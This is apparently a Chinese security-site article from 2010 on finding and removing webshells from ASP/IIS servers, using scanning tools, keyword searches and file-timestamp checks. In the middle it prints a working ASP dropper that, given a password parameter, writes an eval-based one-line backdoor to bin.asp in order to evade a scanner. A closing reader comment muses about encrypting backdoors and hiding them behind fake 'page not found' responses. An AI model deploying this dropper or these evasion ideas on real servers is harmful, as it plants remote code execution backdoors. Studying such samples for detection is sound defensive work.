如何干掉已经存在于服务器上的webshell_安全焦点_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

如何干掉已经存在于服务器上的webshell

作者:黑客防线网安网站维护基地 来源:黑客防线网安网站维护基地 浏览次数:0

黑客防线网安网讯:在脚本入侵如此疯狂的当今时代,脚本系统所谓的“0day”漫天飞舞,一不小心webshell就被放到了服务器上。如何干掉已经存在于服务器上的webshell?估计很多朋友看到这个提问都会有些轻微的寒意,因为现在的websh ...

在脚本入侵如此疯狂的当今时代脚本系统所谓的“0day”漫天飞舞一不小心webshell就被放到了服务器如何干掉已经存在于服务器上的webshell?估计很多朋友看到这个提问都会有些轻微的寒意,因为现在的webshell太BT了,花样翻新而且层出不穷,简直就象打不死的小强!我¥%+%¥*+%¥*
    以Windows Server2003系统ASP+SQL Server典型环境为例,本贴列举两种常规的清理Webshell的方法,召唤更多亡羊补牢的干掉webshell的金点子,砖头拍过来吧!
1.工具
    作为服务器管理者,网络上各种清理webshell的工具应该人手一份,虽然这些工具做不到100%清理,但至少普通的webshell是可以搞定的这里列举两个:aspcandy和ScanWebshell。
    Aspcandy是村雨写的,发布的时间比较早,也没有再公开更新,感觉还不错,至少可以省掉很多手工查找的麻烦。这个工具主要用来查找被入侵过的机器上面是否有asp后门,检查服务器上的ASP文件是否有危险操作而存在。一般普通的用常规函数写的webshell可以很方便的检测出来。
                         
    ScanWebshell是lake2在06年中旬写的一个asp页面形式的查询webshell的工具,它可以查asp、cer、cdx、asa及其嵌套调用的任意格式文件,但是图片asp木马之类的查不到。基本原理也是通过对特别的函数做审查而判定是否为webshell。
                         
    但是这个东西出来以后,就好比木马查杀工具在免杀技术面前无奈一样,穷举类型的安全规则还是很容易被人突破,所以很快就有人提出了突破它的方法:
<%
pass="hacker"
If request("bin")= pass then
shell = "bin.asp"
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values ('<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">')")
End If
%>
    直接访问xxx.asp?bin=hacker会在当前目录下生成一个bin.asp,连接密码为hacker。这个小东西文件可以躲避ScanWebShell,但是生成的bin.asp还是会被查杀。

2.手工
    喜欢黑客技术的人自然更喜欢手工去搞一些东西,这样对动手能力会有一定的提高。一般有实际用处的手工检测webshell的方法有两种:一种是通过特征字符进行判断,一种是通过系统时间进行判断。
    所谓的特征字符判断,实际上和所有网上的清理工具使用的方法是一样的,就是对webshell可能使用到的独特的函数进行过滤,发现调用就仔细查看是不是webshell。比如可以使用UE,设定“Execute(Request("”关键字符对web文件夹下的所有文件内容进行查询,以此来找出一句话后门。
                         
    这种方法的优点在于很容易找到有针对性的后门,比如一句话后门和网络上常见的后门,缺点是对未知的后门几乎没用。
    另一种方法是通过系统时间来做第一次判断,在估算被放置后门时间的左右时间段内,查询所有服务器上,网络用户可访问文件的修改、写入等相关操作,以此来确定webshell的范围,并进一步仔细清理。比如:查找所有上个月内,服务器上web路径下的所有文件改动、生成。
                         
    在没有被人获得完全的服务器权限的情况下,用搜索的方法是比较有威力的,可以查出来所有有可能有问题的文件,包括特殊加密后的webshell、图片类型的webshell。但是,一旦服务器被人搞掉了,拿到了高的权限,那文件时间却又是可以很容易修改的——所以,在确定服务器没有被搞掉的时候,大胆的使用这个方法去干掉webshell吧!

    上面几个方法都是有一定作用的清理服务器上webshell的方法,对一般的webshell清理是比较有帮助的,服务器管理员在遇到webshell的情况下可以用以上的方法做一下测试,可能会有帮助。

问题来了:
1.        以上的工具和手工清理方法,有没有突破的办法?怎么突破?
2.        有没有更好的清理已经存在的webshell的方法?怎么清理?[当然,以上帖子的所有讨论,都是基于已经被放上了webshell的情况,怎么让别人放不上webshell他日再论。]
定位特征字符,如果装杀软并定时更新的话,感觉似乎多此一举了,杀软也可以用特征字符杀WEBSHELL的!一般将ASP或者PHP后门全部加密后是不是就可以躲过杀软和特征码定位了?
至于查看文件修改时间,可以把文件时间修改和别的文件一致,不过要能改文件的时间的话,那服务器的权限都已经拿到了,再改也没什么意思了!所以,查看文件修改时间不知道怎么去突破!

有一个问题以前想过,不过我不会ASP编程,所以这里问一下:一般ASP文件后面跟个asp?XX=1的参数,那么我们可不可以把ASP后门做成先通过用GET抓浏览器提交参数,判断正确后显示出登录的页面,若参数不对或者就没有参数就显示出“找不到该页面”的典型网页!这样应该可以防止网马被人盗用等!由于我不懂ASP语言,这是我的一个想法,不知能否实现,谢!
 

    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show.php?contentid-3031.html
网站维护教程更新时间:2010-09-10 23:46:42  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer